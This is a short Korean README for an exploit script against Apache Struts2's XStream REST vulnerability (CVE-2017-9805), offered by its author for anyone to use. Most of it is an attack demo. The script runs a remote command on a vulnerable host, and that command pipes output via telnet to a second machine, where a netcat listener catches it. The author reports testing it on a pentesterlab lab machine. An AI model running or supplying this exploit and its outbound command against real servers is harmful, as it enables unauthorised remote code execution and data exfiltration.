
Apache Struts2 REST Plugin XStream RCE (CVE-2017-9805)용 익스플로잇 스크립트
리소스: * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805
S2-052에 취약한 Struts2를 호스팅하는 시스템의 쉘에 원격 명령을 실행할 수 있는 Python 익스플로잇 스크립트입니다.
╭─root@blackshell ~/
╰─# python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234"
[*] Apache Struts XStream REST vulnerability - S2-052
[*] Creating payload ...
[*] Exploit packet has 2582 bytes.
[*] Sending exploit packet ...
[+] Exploit packet has been sent.
╭─zc00l@blackshell ~/
╰─$ nc -lvp 1234
listening on [any] 1234 ...
connect to [192.168.0.122] from vulnerable.lan [192.168.0.233] 55791
pwned
S2-052 실습의 pentesterlab 취약 머신에서 테스트되었습니다.
이 익스플로잇 스크립트는 저(zc00l)가 작성했으며 누구나 사용할 수 있습니다.
이 스크립트를 사용하거나 수정하려는 경우, 이미 수행된 작업에 대해 정당한 크레딧을 부여해 주시기 바랍니다.